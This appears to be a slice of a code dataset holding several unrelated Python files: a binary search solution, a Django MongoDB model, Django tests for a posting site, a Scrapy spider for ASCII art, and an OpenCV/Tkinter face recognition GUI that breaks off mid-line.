over\n#add power ups\n#add constant movement to the right option\n#finetune the math governing the player size + level creation \n#streamline / simplify level class + add a player class\n\t","sub_path":"cave_diver_roessingh/#cave_diver_forest_walker_1.5.py","file_name":"#cave_diver_forest_walker_1.5.py","file_ext":"py","file_size_in_byte":8963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"111131250","text":"class Solution(object):\n def searchRange(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: List[int]\n \"\"\"\n left1 = 0\n right1 = len(nums)-1\n left2 = 0\n right2 = len(nums)-1\n\n while left1 <= right1:\n mid = int((left1+right1)/2)\n if(nums[mid] >= target):\n right1 = mid - 1\n else:\n left1 = mid + 1\n\n while left2 <= right2:\n mid = int((left2+right2)/2)\n if(nums[mid] <= target):\n left2 = mid +1\n else:\n right2 = mid -1\n\n if(left1 <len(nums) and nums[left1] == target) and (right2 >=0 and nums[right2] == target):\n return [left1, right2]\n elif (left1 <len(nums) and nums[left1] == target) and (right2 >=0 and nums[right2] != target):\n return [left1, left1]\n elif (left1 <len(nums) and nums[left1] != target) and (right2 >=0 and nums[right2] == target):\n return [right2, right2]\n\n else:\n return [-1,-1]\n","sub_path":"firsttime/34.py","file_name":"34.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"517208605","text":"#Filename: /perfeerapp/models/users.py\n# -*- coding:utf-8 -*-\n\nimport sys\n\nfrom django.db import models\n\nfrom perfeerapp.models.config.MongoConnFactory import *\n\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\nmongoConn = MongoConnFactory()\ndb = mongoConn.getDB()\n\nclass UsersModel(models.Model):\n \"\"\"\n #The module for users\n \"\"\"\n\n user = models.CharField(max_length=50)\n username = models.CharField(max_length=50)\n email = models.CharField(max_length=50)\n department = models.CharField(max_length=90)\n\n def getUserInfo(self):\n infos = db['users'].find().sort([('jointime',-1)])\n return infos\n\n def getUserFromEmail(self,email):\n infos = db['users'].find({'email':email})\n return infos\n\n def updateUser(self, data):\n user = data['user'];\n username = data['username'];\n email = data['email'];\n department = data['department']\n group = data['group'];\n isable = data['isable'];\n db['users'].update(\n {\"user\":user,\"username\":username,\"email\":email,\"department\":department},\n {\"$set\":{\"group\":group,\"isable\":isable}}\n )\n","sub_path":"perfeersystem/web/perfeerapp/models/settings/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"411707927","text":"from django.core.cache import cache\nfrom django.core.files.uploadedfile import SimpleUploadedFile\nfrom django.test import Client, TestCase\nfrom django.urls import reverse\nfrom posts.models import Group, Follow, Post, User\n\n\nclass ProfileTest(TestCase):\n def create_post_for_tests(self):\n self.auth_client.post(\n reverse('new_post'),\n {\n 'text': \"Ох, рано встает охрана!\",\n 'author': self.user,\n 'group': self.group.pk\n }\n )\n\n def setUp(self):\n cache.clear()\n self.auth_client = Client()\n self.unauth_client = Client()\n self.user = User.objects.create(\n username='test_user', password='test_password')\n self.auth_client.force_login(self.user)\n self.group = Group.objects.create(title='test_group', slug='testgroup')\n\n\n def accept_by_url(self, url, basis):\n response = self.client.get(url)\n paginator = response.context.get('page')\n if paginator is not None:\n post = response.context['page'][0]\n else:\n post = response.context['post']\n self.assertEqual(post.text, basis.text)\n self.assertEqual(post.author, basis.author)\n self.assertEqual(post.group, basis.group)\n\n def page_runner(self, basis):\n index_url = reverse('index')\n profile_url = reverse('profile',\n kwargs={'username': self.user.username}\n )\n post_url = reverse(\n 'post',\n kwargs={'username': self.user.username, 'post_id': basis.id}\n )\n group_posts_url = reverse('group',\n kwargs={'slug': self.group.slug}\n )\n if basis.group == self.group:\n for url in [index_url, profile_url, post_url, group_posts_url]:\n self.accept_by_url(url, basis)\n else:\n for url in [index_url, profile_url, post_url]:\n self.accept_by_url(url, basis)\n\n# После регистрации пользователя создается\n# его персональная страница (profile)\n\n def test_profile(self):\n response = self.auth_client.get(\n reverse('profile', kwargs={\n 'username': self.user.username\n })\n )\n self.assertEqual(response.status_code, 200)\n\n# Авторизованный пользователь может\n# опубликовать пост (new)\n\n def test_newpost(self):\n response = self.auth_client.post(reverse('new_post'),\n data={\n 'text': 'try1qweasd_text',\n 'group': self.group.id,\n },\n follow=True)\n post_author = User.objects.get(username='test_user')\n self.assertEqual(post_author, self.user)\n post = Post.objects.first()\n self.assertEqual(post.text, 'try1qweasd_text')\n self.assertEqual(post.group, self.group)\n count_posts = Post.objects.count()\n self.assertEqual(count_posts, 1)\n\n# После публикации поста новая запись появляется\n# на главной странице сайта (index),\n# на персональной странице пользователя (profile),\n# и на отдельной странице поста (post)\n\n def test_demonstrate(self):\n Post.objects.create(\n text='Ох, рано встает охрана!',\n author=self.user,\n group=self.group\n )\n basis = Post.objects.first()\n self.page_runner(basis)\n\n# Авторизованный пользователь может отредактировать свой пост\n# и его содержимое изменится на всех связанных страницах\n\n def test_edit(self):\n self.create_post_for_tests()\n basis = Post.objects.first()\n basis.text = 'Как же тяжело даются тесты!'\n group2 = Group.objects.create(title='test_group2', slug='testgroup2')\n self.auth_client.post(\n reverse(\n 'post_edit', kwargs={\n 'username': self.user.username,\n 'post_id': basis.id\n }\n ),\n {\n 'text': basis.text,\n 'author': basis.author,\n 'group': group2.pk\n }\n )\n new_basis = Post.objects.first()\n self.page_runner(new_basis)\n response = self.auth_client.get(reverse('group',\n kwargs={'slug': group2.slug}\n ))\n self.assertContains(response, new_basis.text)\n response = self.auth_client.get(reverse('group',\n kwargs={'slug': self.group.slug}\n ))\n self.assertNotContains(response, new_basis.text)\n\n# Неавторизованный посетитель не может создавать post\n\n def test_create(self):\n count_posts1 = Post.objects.count()\n resp = self.unauth_client.post(reverse('new_post'),\n {\n 'text': \"Ох, рано встает охрана!\",\n 'author': self.user,\n 'group': self.group.pk\n })\n count_posts2 = Post.objects.count()\n login_url = reverse('login')\n new_post_url = reverse('new_post')\n target_url = f'{login_url}?next={new_post_url}'\n self.assertRedirects(\n resp, target_url,\n status_code=302, target_status_code=200\n )\n self.assertEqual(count_posts1, count_posts2)\n\n# Тестим на ошибку 404\n\n def test_page_not_found(self):\n response = self.client.get('/abracadabra/')\n self.assertEqual(response.status_code, 404)\n\n# Проверяем страницу конкретной записи с картинкой: на странице есть тег <img>\n\n def test_post_with_image(self):\n small_gif = (\n b'\\x47\\x49\\x46\\x38\\x39\\x61\\x01\\x00\\x01\\x00\\x00\\x00\\x00'\n b'\\x21\\xf9\\x04\\x01\\x0a\\x00\\x01\\x00\\x2c\\x00\\x00\\x00\\x00'\n b'\\x01\\x00\\x01\\x00\\x00\\x02\\x02\\x4c\\x01\\x00\\x3b'\n )\n img = SimpleUploadedFile(\n name='some.gif',\n content=small_gif,\n content_type='image/gif'\n )\n Post.objects.create(\n text='Тестим картинки',\n author=self.user,\n group=self.group,\n image=img\n )\n\n urls = [\n reverse('index'),\n reverse('profile',\n kwargs={'username': self.user.username}\n ),\n reverse('group',\n kwargs={'slug': self.group.slug}\n )\n ]\n for url in urls:\n with self.subTest(url=url):\n response = self.auth_client.get(url)\n self.assertContains(response, '<img')\n\n# проверяtv, что срабатывает защита от загрузки файлов не-графических форматов\n def test_post_without_image(self):\n not_image = SimpleUploadedFile(\n name='some.txt',\n content=b'abc',\n content_type='text/plain'\n )\n\n url = reverse('new_post')\n response = self.auth_client.post(\n url, {'text': 'some_text', 'image': not_image}\n )\n self.assertFormError(\n response,\n 'form',\n 'image',\n errors=(\n 'Загрузите правильное изображение.'\n ' Файл, который вы загрузили, поврежден '\n 'или не является изображением.'\n )\n )\n\n# Тестируем кэш!\n\n def test_cashe(self):\n test_post_1 = Post.objects.create(\n text='testirovanie1',\n author=self.user,\n group=self.group\n )\n response = self.auth_client.get(reverse('index'))\n self.assertContains(response, test_post_1.text)\n test_post_2 = Post.objects.create(\n text='testirovanie2',\n author=self.user,\n group=self.group\n )\n response = self.auth_client.get(reverse('index'))\n self.assertNotContains(response, test_post_2.text)\n cache.clear()\n response = self.auth_client.get(reverse('index'))\n self.assertContains(response, test_post_1.text)\n self.assertContains(response, test_post_2.text)\n\n# тестим комментар��и\n\n def test_comment(self):\n self.post = Post.objects.create(\n text='He is author',\n author=self.user\n )\n response = self.client.post(\n reverse(\n 'add_comment',\n args=[self.user, self.post.id]),\n {'text': 'Whooo?'},\n follow=True\n )\n self.assertRedirects(response, '/auth/login/?next=/test_user/1/comment/')\n\n# Тестим фолловеров\n\nclass FollowTest(TestCase):\n def setUp(self):\n self.user1 = User.objects.create_user(\n username=\"first_user\",\n password=\"firstuserpass\",\n )\n self.post1 = Post.objects.create(\n text=\"test message\", author=self.user1,\n )\n self.user2 = User.objects.create_user(\n username=\"second_user\",\n password=\"seconduserpass\",\n )\n self.client_auth = Client() \n self.client_auth.force_login(self.user1) \n self.client_auth2 = Client() \n self.client_auth2.force_login(self.user2)\n \n def test_user_follow(self): \n response = self.client_auth.post( \n reverse('profile_follow', args=[self.user2]), \n follow=True \n ) \n self.assertEqual(Follow.objects.count(), 1)\n \n def test_user_unfollow(self):\n Follow.objects.create(author=self.user1, user=self.user2)\n self.client.get(reverse(\"profile_unfollow\", args=[self.user2])),\n self.assertEqual(self.user1.follower.count(), 0)\n\ndef test_post_follow(self):\n follow_user1 = self.client_auth2.get(\n reverse(\"profile_follow\", args=[self.user1.username]\n ))\n count_follow = Follow.objects.count()\n self.assertEqual(count_follow, 1)\n response = self.self.client_auth2.get(reverse(\"follow_index\"))\n self.assertContains(response, self.post1.text)\n\ndef test_post_follow_another(self):\n follow_user1 = self.client_auth2.get(\n reverse(\"profile_follow\", args=[self.user1.username]\n ))\n count_follow = Follow.objects.count()\n self.assertEqual(count_follow, 1)\n response = self.client_auth.get(reverse(\"follow_index\"))\n self.assertNotContains(response, self.post1.text)\n","sub_path":"posts/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":11312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"466817908","text":"# -*- coding: utf-8 -*-\nimport re\nfrom pathlib import Path\nfrom urllib.parse import urlparse\n\nimport scrapy\nfrom scrapy.linkextractors import LinkExtractor\n\n\nclass GgajicSpider(scrapy.Spider):\n name = 'asciiart_eu'\n allowed_domains = ['www.asciiart.eu']\n start_urls = ['https://www.asciiart.eu/']\n\n data_dir = Path(Path(__file__).parents[2], 'data', name)\n\n # Using the xpath / css text() selector screws up if the\n # content inside of the <pre></pre> contains characters that\n # look like HTML comments e.g. \"<-->\" on page\n # /computers/bug\n pre_pattern = re.compile('^<pre.*?>(.*)</pre>$', re.DOTALL)\n\n link_extractor = LinkExtractor()\n\n def parse(self, response):\n\n data = response.css('div.asciiarts.mt-3 pre')\n if data:\n lines = [self.pre_pattern.match(d.extract_unquoted()).groups()[0] for d in data]\n text_block = '\\n\\n\\n'.join(lines)\n\n name = urlparse(response.url).path\n name = name.strip('/')\n name = name.replace('/', '-')\n name = name.replace(' ', '_')\n\n self.data_dir.mkdir(parents=True, exist_ok=True)\n Path(self.data_dir, name + '.txt').write_text(text_block)\n yield {'name': name, 'url': response.url}\n\n for link in self.link_extractor.extract_links(response):\n yield response.follow(link.url, self.parse)\n","sub_path":"scraper/ascii/spiders/asciiart_eu.py","file_name":"asciiart_eu.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"327485573","text":"# импортируем все необходимые модули\r\nimport cv2 as cv # модуль для работы с компьютерным зрением\r\nimport numpy as np\r\nimport os\r\nfrom PIL import Image, ImageTk\r\nimport time, threading\r\nimport tkinter as tk\r\nfrom tkinter.ttk import Style\r\nfrom tkinter import ttk, Entry, messagebox, filedialog, Radiobutton, IntVar, Menu\r\n\r\n# -------------------------------------------------------------------------------------------------------------------- #\r\n\r\nLARGE_FONT = (\"Verdana\", 12)\r\nname = \"\"\r\n\r\n\r\n# класс для графичского интерфейса программы\r\nclass Face_DR_GUI(tk.Tk):\r\n\r\n # инициализация, основные действия\r\n def __init__(self, *args, **kwargs):\r\n tk.Tk.__init__(self, *args, **kwargs)\r\n self.title(\"Face recognition v2.0\") # заголовок окна\r\n tk.Tk.iconbitmap(self, default='logo1.ico') # устанавливаем иконку окна\r\n self.orientation()\r\n self.resizable(width=0, height=0) # запрещаем изменение размера окна приложения\r\n \r\n self.container = tk.Frame(self) # переменная container нужна для хранения объекта Frame\r\n self.container.pack(fill=\"both\", expand=1)\r\n self.container.grid_rowconfigure(0, weight=1)\r\n self.container.grid_columnconfigure(0, weight=1)\r\n\r\n self.frames_dict = {} # объект словаря для хранения окон приложения\r\n for frame in (Frame1, Frame2, Frame3, Frame4):\r\n init_frame = frame(self.container, self)\r\n self.frames_dict[frame] = init_frame\r\n init_frame.grid(row=0, column=0, sticky=\"nsew\")\r\n self.show_frame(Frame1) # на данном этапе отображаем первое окно\r\n\r\n # настраиваем меню (делалось для демонстрационных целей)\r\n menu_bar = Menu()\r\n edit_menu = Menu()\r\n edit_menu.add_command(label=\"Изменение настроек алгоритмов\",\r\n command=lambda: messagebox.showinfo(\"\", \"Данная функция пока недоступна\"))\r\n menu_bar.add_cascade(label=\"Файл\")\r\n menu_bar.add_cascade(label=\"Редактировать\", menu=edit_menu)\r\n menu_bar.add_cascade(label=\"Вид\")\r\n \r\n self.config(menu=menu_bar)\r\n \r\n # метод, открывающий диалог, для выбора файла: изображение, либо видео\r\n def load_file(self, file_format):\r\n chosen_file = filedialog.Open(root, filetypes=[file_format]).show()\r\n return chosen_file\r\n\r\n # метод открывает отдельное окно для ввода имени папки, в которую будут сохранены изображения лица нового пользователя\r\n def new_face(self, message):\r\n popup = tk.Tk()\r\n popup.wm_title(\"Дабавление лица\")\r\n label = ttk.Label(popup, text=message, font=(\"Verdana\", 10))\r\n label.pack(side=\"top\", padx=5, pady=5)\r\n name_entry = Entry(popup)\r\n name_entry.pack()\r\n button = ttk.Button(popup, text=\"Ok\", command=lambda: new_recognizer_app.making_data(name_entry, popup))\r\n button.pack(side=\"top\", padx=5, pady=5)\r\n w_width = 200\r\n w_height = 100\r\n scr_width = popup.winfo_screenwidth()\r\n scr_height = popup.winfo_screenheight()\r\n popup.geometry(\"%dx%d+%d+%d\" % (w_width, w_height, (scr_width-w_width)/2, (scr_height-w_height)/2))\r\n popup.resizable(width=0, height=0)\r\n popup.mainloop()\r\n\r\n # метод, в котором происходит настройка размеров окна приложения, его ориентации на экране\r\n def orientation(self):\r\n w_width = 500\r\n w_height = 300\r\n scr_width = self.winfo_screenwidth()\r\n scr_height = self.winfo_screenheight()\r\n self.geometry(\"%dx%d+%d+%d\" % (w_width, w_height, (scr_width-w_width)/2, (scr_height-w_height)/2))\r\n\r\n # метод для отображения выбранного окна\r\n def show_frame(self, source):\r\n frame = self.frames_dict[source]\r\n frame.tkraise()\r\n\r\n# -------------------------------------------------------------------------------------------------------------------- #\r\n\r\n\r\n# класс, содержащий инструменты для обнаружения и распознавания лиц\r\nclass PhotoVideoRecognizer():\r\n\r\n def __init__(self, *args, **kwargs):\r\n self.names = {}\r\n self.recognizer = []\r\n print(\"New photo/video recognizer object has been created\")\r\n\r\n # метод для добавления 40 изображений нового лица в базу лиц\r\n def making_data (self, message, popup):\r\n storage = 'storage' # имя хранилища папок с лицами\r\n person_name = message.get() # получаем имя нового пользователя\r\n # если введённое имя уже есть в базе, сообщаем об этом\r\n if person_name in os.listdir(storage):\r\n messagebox.showinfo(\"Операция прервана\", \"Имя уже используется!\")\r\n popup.attributes(\"-topmost\", True)\r\n return\r\n # иначе создаём новую папку, куда сохраняем фрагменты лица с веб-камеры\r\n else:\r\n popup.destroy()\r\n data_path = storage + \"/\" + person_name\r\n os.makedirs(data_path)\r\n cascade = cv.CascadeClassifier('haarcascade_frontalface_default.xml')\r\n current_camera = cv.VideoCapture(0) # инициализируем веб-камеру\r\n image_num = 1\r\n count = 0\r\n pause = 0\r\n total_images = 40\r\n while count < total_images:\r\n retval = False\r\n while not retval:\r\n (retval, video_frame) = current_camera.read() # считываем кадр\r\n if not retval:\r\n print(\"Failed to open webcam.\")\r\n return\r\n break\r\n x1 = 0\r\n x2 = 10\r\n cv.putText(video_frame, 'Saving image ', (x1, x2), cv.FONT_HERSHEY_PLAIN, 1, (0, 255, 0)) # отображаем текст\r\n grey_frame = cv.cvtColor(video_frame, cv.COLOR_BGR2GRAY) # преобразуем кадр в отенки серого\r\n found_faces = cascade.detectMultiScale(grey_frame, 1.2, 5) # обнаруживаем лица с помощью каскадов Хаара\r\n for (x, y, h, w) in found_faces:\r\n cv.rectangle(video_frame, (x, y), (x+w, y+h), (55, 125, 255), 2) # обводим лицо рамкой\r\n cv.putText(video_frame, person_name, (x, y), cv.FONT_HERSHEY_PLAIN, 1, (0, 255, 0))\r\n face_fragment = grey_frame[y:y+h, x:x+w] # вырезаем фрагмент с лицом\r\n fragment_resized = cv.resize(face_fragment, (250, 250), interpolation=cv.INTER_AREA) # приводим к одному размеру все фрагменты\r\n if pause == 0:\r\n print('Saving image ' + str(count+1))\r\n cv.putText(video_frame, '%16s ' % str(count+1), (x1, x2), cv.FONT_HERSHEY_PLAIN, 1, (0, 255, 0))\r\n cv.imwrite('%s/%s.jpeg' % (data_path, image_num), fragment_resized) # записываем фрагмент в папку\r\n image_num += 1\r\n count += 1\r\n pause = 1\r\n if pause > 0: # имитация паузы\r\n pause = (pause + 1) % 6\r\n print(pause)\r\n cv.imshow('Video captured', video_frame) # отображаем видеопоток\r\n k = cv.waitKey(30) & 0xFF # обработчик нажатия на кнопку Esc\r\n if k == 27:\r\n break\r\n current_camera.release() # отключаем камеру\r\n cv.destroyAllWindows() \r\n messagebox.showinfo(\"Успешно!\", \"Лицо добавлено в базу\")\r\n \r\n # ----------------------------------------------------------------------------------------------------- #\r\n # метод для обнаружения лиц\r\n def face_detection(self, image, classifier, operation):\r\n gray_image = cv.cvtColor(image, cv.COLOR_BGR2GRAY)\r\n cascade = cv.CascadeClassifier(classifier)\r\n found_faces = cascade.detectMultiScale(gray_image, 1.6, 3)\r\n if operation == \"training\":\r\n for(x, y, h, w) in found_faces:\r\n face_fragment = gray_image[y:y+h, x:x+w]\r\n face = cv.resize(face_fragment, (250, 250), interpolation=cv.INTER_AREA)\r\n return face\r\n elif operation == \"detection\":\r\n faces_fragment_list = []\r\n for(x, y, h, w) in found_faces:\r\n face_fragment = gray_image[y:y+h, x:x+w]\r\n faces_fragment_list.append(face_fragment)\r\n return np.array(faces_fragment_list), found_faces\r\n \r\n # ------------------------------------------------Training----------------------------------------------------- #\r\n # метод, с помощью которого проходим по всей базе с изображениями лиц и собираем данные для тренировки алгоритма\r\n def prepare_data(self, storage):\r\n images = [] # список для изображений\r\n labels = [] # список меток, каждое значение метки соответствет определённому имени, например 0 - Иван, 1 - Алексей и т.д. Метки для разных изображений лиц одного человека одинаковы\r\n names = {} # словарь для имён людей / названий папок с изображениями лиц\r\n id = 0\r\n subdirs = os.listdir(storage)\r\n for subdir_name in subdirs: # проходим в цикле по каждой папке хранилища\r\n names[id] = subdir_name # добавляем в словарь имя\r\n person_path = storage + '/' + subdir_name # путь до текущей папки с изображениями\r\n files = os.listdir(person_path) \r\n for file_name in files: # перебираем в цикле изображения из текущей папки\r\n left_part, right_part = os.path.splitext(file_name)\r\n if right_part.lower() not in ['.png', '.bmp', '.jpeg', '.gif', '.pgm']: # проверяем, чтобы файл был допустимого формата\r\n print(file_name + ' - wrong file type')\r\n continue\r\n file_path = person_path + '/' + file_name\r\n label = id\r\n image = cv.imread(file_path, 0) # считываем изображение\r\n (height, width) = image.shape\r\n if height > 250 and width > 250: # проверяем размеры изображения (предполагалось, что все изображения лиц должны иметь размеры 250х250 пикселей,\r\n # либо меньше, и если изображение имеет бОльшие размеры, значит оно необработано и помимо лица содержит другие части тела, объекты, соответственно,\r\n # изображение необходимо обработать - обнаружить лицо)\r\n image = self.face_detection(image, 'haarcascade_frontalface_default.xml', \"training\")\r\n elif height < 250 and width < 250:\r\n image = cv.resize(image, (250, 250), interpolation=cv.INTER_AREA)\r\n\r\n if image is not None:\r\n images.append(image) # добавляем фрагмент лица в список лиц\r\n labels.append(label) # добавляем метку в списо\r\n id += 1\r\n return images, labels, names\r\n\r\n # метод запускающий тренировку алгоритма распознавания\r\n def data_training(self, parent):\r\n def data_training_inserted():\r\n images, labels, names = self.prepare_data('storage') # метод, с помощью которого проходим по всей базе с изображениями лиц\r\n parent.progress_bar.start() # запуск полосы прогресса\r\n self.t1 = time.time() # замер времени\r\n recognizer = cv.face.LBPHFaceRecognizer_create(1, 8, 7, 7, 130) # инициализируем алгоритм\r\n recognizer.train(images, np.array(labels)) # тренировка алгоритма\r\n self.t2 = time.time()\r\n self.training_time = self.t2 - self.t1 \r\n parent.progress_bar.stop()\r\n parent.show_time(self.training_time)\r\n self.names = names\r\n self.recognizer = recognizer\r\n threading.Thread(target=data_training_inserted).start() # запускаем в отдельном потоке data_training_inserted\r\n \r\n # ----------------------------------------------------Drawing------------------------------------------------- #\r\n # метод, рисующий прямоугольник, охватывающий обнаруженное лицо\r\n def draw_rectangle(self, image, rectangle):\r\n (x, y, w, h) = rectangle\r\n cv.rectangle(image, (x, y), (x+w, y+h), (55, 125, 255), 5)\r\n \r\n #Метод, выводящий текст на изображение \r\n def draw_text(self, image, text, x, y):\r\n def draw_text_inserted(image, text, x, y): \r\n if text[1] < 28: # если степень сходства меньше 28, тогда пишем имя и само значение степени сходства (считается, что, чем её значение меньше, тем алгоритм более уверен, что это тот или иной челове)\r\n if image.shape[0] > 500: # простейшая регулировка размеров надписи\r\n cv.putText(image, '%s - %.0f' % text, (x, y), cv.FONT_HERSHEY_DUPLEX, int(image.shape[0]/300), (0, 255, 0), int(image.shape[0]/300))\r\n else:\r\n cv.putText(image, '%s - %.0f' % text, (x, y), cv.FONT_HERSHEY_DUPLEX, 1.2, (0, 255, 0), 1)\r\n else: # иначе пишем, что лицо не было распознано\r\n if image.shape[0] > 500:\r\n cv.putText(image, 'Not recognized', (x, y), cv.FONT_HERSHEY_DUPLEX, int(image.shape[0]/600), (0, 0, 255), int(image.shape[0]/500))\r\n else:\r\n cv.putText(image, 'Not recognized', (x, y), cv.FONT_HERSHEY_DUPLEX, 1.2, (0, 0, 255), 1)\r\n t1 = threading.Thread(target=draw_text_inserted, args=(image, text, x, y))\r\n t1.start()\r\n t1.join()\r\n\r\n # ----------------------------------------------------Prediction------------------------------------------------- #\r\n # Метод для распознавания обнаруженных лиц\r\n def predict(self, image, face_fragments, found_faces, source, parent):\r\n if source == 'photo':\r\n text = str(len(face_fragments))\r\n parent.status_message(\"Total faces found: \" + text, 240)\r\n for face_num in range(len(face_fragments)): # проходим по всем найденным лицам\r\n current_face = face_fragments[face_num]\r\n current_face_resized = cv.resize(current_face, (250, 250), interpolation=cv.INTER_AREA)\r\n current_rectangle = found_faces[face_num]\r\n name_of_the_person, confidence = self.recognizer.predict(current_face_resized) # распознаём лицо с помощью алгоритма LBPH, используя результаты тренировки\r\n label_text = (self.names[name_of_the_person], confidence)\r\n self.draw_rectangle(image, current_rectangle) # вызываем метод, который рисует прямоугольник, охватывающий обнаруженное лицо\r\n (x, y, w, h) = current_rectangle # получаем параметры прямоугольника\r\n self.draw_text(image, label_text, x, y) # вызываем метод, который выводит на изображение тест, содержащий имя того человека, который был распознан, и степень сходства\r\n return image\r\n\r\n # ----------------------------------------------------Managers------------------------------------------------- #\r\n # метод \"менеджер\" по распознаванию лиц на фото\r\n def recognize_photo(self, parent):\r\n path_to_image = root.load_file(('*.jpg files', '.jpg')) # вызов метода, открывающего диалог выбора файла-изображения\r\n if not path_to_image: return\r\n parent.status_message(\"Trying to recognize the face...\", 220)\r\n image = cv.imread(path_to_image) # считываем изображение\r\n face_fragments, found_faces = self.face_detection(image, 'haarcascade_frontalface_default.xml', \"detection\") # вызываем метод, обнаруживающий лица\r\n predicted_image = self.predict(image, face_fragments, found_faces, 'photo', parent) # вызываем метод для распознавания обнаруженных лиц\r\n if image.shape[0] > 500: # в данном условном операторе проверяем размеры изображения, если его высота больше 500 пикселей, то уменьшаем его, сохраняя пропорции\r\n final_height = 500\r\n rate = image.shape[0]/final_height\r\n final_dimensions = (int(image.shape[1]/rate), final_height)\r\n cv.imshow('Complete', cv.resize(predicted_image, final_dimensions, interpolation=cv.INTER_AREA))\r\n else: # либо просто выводим изображение на экран\r\n cv.imshow('Complete', predicted_image) \r\n\r\n k = cv.waitKey(30) & 0xFF\r\n if k == 27:\r\n cv.destroyAllWindows()\r\n\r\n # метод-менеджер по распознаванию лиц на видео\r\n def recognize_video(self, source): # принцип работы аналогичен предыдущему методу\r\n if source == 0:\r\n camera = cv.VideoCapture(source)\r\n else:\r\n source = root.load_file(('*.avi files', '.avi'))\r\n if not source: return\r\n camera = cv.VideoCapture(source)\r\n while(True):\r\n retval = False\r\n while(not retval):\r\n retval, video_stream = camera.read()\r\n if not retval:\r\n print(\"Failed to open webcam.\")\r\n return\r\n break\r\n face_fragments, found_faces = self.face_detection(video_stream, 'haarcascade_frontalface_default.xml', 'detection')\r\n predicted_image = self.predict(video_stream, face_fragments, found_faces, 'video', None)\r\n cv.namedWindow('Complete', cv.WINDOW_NORMAL)\r\n cv.imshow('Complete', predicted_image)\r\n k = cv.waitKey(30) & 0xFF\r\n if k == 27:\r\n break\r\n camera.release()\r\n cv.destroyAllWindows()\r\n\r\n\r\n# GUI windows\r\n\"\"\"Ниже представлены 4 класса, соответствующие 4-м окнам графического интерфейса программы. В классах настриваем\r\nоформление, привязываем к кнопкам команды, а также определяем дополнительные методы.\"\"\"\r\n# ------------------------------------------------------Frame1-------------------------------------------------------- #\r\n# первое окно приложения\r\n\r\n\r\nclass Frame1(tk.Frame):\r\n\r\n def __init__(self, container, parent):\r\n tk.Frame.__init__(self, container)\r\n # рамка для разграничения пространства в окнах\r\n self.helping_frame = tk.Frame(self, relief=\"ridge\", borderwidth=1, background=\"#333\")\r\n self.helping_frame.pack(fill=\"both\", expand=1)\r\n\r\n label = ttk.Label(self.helping_frame, text=\"\"\"\r\nЭто учебная версия программы для обнаружения/распоз-\r\nнавания лиц. На данный момент она позволяет обнару-\r\nживать и распознавать лица на фото или видео и добав-\r\nлять новые лица в базу данных. Программа использует\r\nметод Viola-Jones для обнаружения и метод LBPH для\r\nраспознавания. Чтобы начать работу, нажмите \"Next\"\r\nЧтобы выйти из программы, нажмите \"Exit\".\"\"\",\r\n background=\"#333\", foreground=\"white\", font=LARGE_FONT)\r\n label.place(x=5, y=-15)\r\n\r\n image = Image.open(\"map1.jpg\")\r\n megapolis = ImageTk.PhotoImage(image)\r\n pic = ttk.Label(self.helping_frame, image=megapolis, background=\"#333\")\r\n pic.image = megapolis\r\n pic.pack(side=\"bottom\")\r\n\r\n button_exit = ttk.Button(self, text=\"Exit\", command=parent.destroy)\r\n button_exit.pack(side=\"right\", pady=5, padx=5)\r\n button_next = ttk.Button(self, text=\"Next\", command=lambda: parent.show_frame(Frame2))\r\n button_next.pack(side=\"right\", pady=5, padx=5)\r\n\r\n\r\n# -------------------------------------------------------Frame2------------------------------------------------------- #\r\n# второе окно приложения\r\n\r\nclass Frame2(tk.Frame):\r\n\r\n def __init__(self, container, parent):\r\n tk.Frame.__init__(self, container)\r\n # рамка для разграничения пространства в окнах\r\n self.helping_frame = tk.Frame(self, relief=\"ridge\", borderwidth=1, background=\"#333\")\r\n self.helping_frame.pack(fill=\"both\", expand=1)\r\n\r\n Style().configure(\"TButton\", background=\"#333\")\r\n\r\n button_train = ttk.Button(self.helping_frame, text=\"Train\", command=lambda: self.show_progress_bar())\r\n button_train.grid(row=0, column=1, padx=10, pady=10)\r\n\r\n label_train = ttk.Label(self.helping_frame, text=\"\"\"Нажмите \"Train\", чтобы начать тренировку\"\"\",\r\n background=\"#333\", foreground=\"white\", font=LARGE_FONT)\r\n label_train.grid(row=0, column=0, padx=10, pady=10)\r\n\r\n self.progress_bar = ttk.Progressbar(self.helping_frame, length=400, mode=\"indeterminate\")\r\n self.progress_bar.place(x=50, y=50)\r\n\r\n self.button_photo = ttk.Button(self.helping_frame, text=\"Photo\", command=lambda: parent.show_frame(Frame3))\r\n self.button_photo.place(x=410, y=110)\r\n self.button_photo['state'] = 'disabled'\r\n\r\n label_photo = ttk.Label(self.helping_frame, text=\"\"\"Нажмите \"Photo\", чтобы распознать лица на фотографии\"\"\",\r\n background=\"#333\", foreground=\"white\", font=(\"Verdana\", 9))\r\n label_photo.place(x=10, y=110)\r\n\r\n self.button_video = ttk.Button(self.helping_frame, text=\"Video\", command=lambda: parent.show_frame(Frame4))\r\n self.button_video.place(x=410, y=150)\r\n self.button_video['state'] = 'disabled'\r\n\r\n label_video = ttk.Label(self.helping_frame, text=\"\"\"Нажмите \"Video\", чтобы распознать лица на видео\"\"\",\r\n background=\"#333\", foreground=\"white\", font=(\"Verdana\", 9))\r\n label_video.place(x=10, y=150)\r\n\r\n label_add= ttk.Label(self.helping_frame, text=\"\"\"\r\nДля добавления нового лица в тренировочную базу с помощью\r\nвеб-камеры нажмите кнопку \"Add\" на нижней панели\"\"\",\r\n background=\"#333\", foreground=\"white\", font=(\"Verdana\", 9))\r\n label_add.place(x=10, y=200)\r\n\r\n # bottom buttons\r\n button_exit = ttk.Button(self, text=\"Exit\", command=parent.destroy)\r\n button_exit.pack(side=\"right\", pady=5, padx=5)\r\n button_back = ttk.Button(self, text=\"Back\", command=lambda: parent.show_frame(Frame1))\r\n button_back.pack(side=\"right\", pady=5, padx=5)\r\n button_add = ttk.Button(self, text=\"Add\", 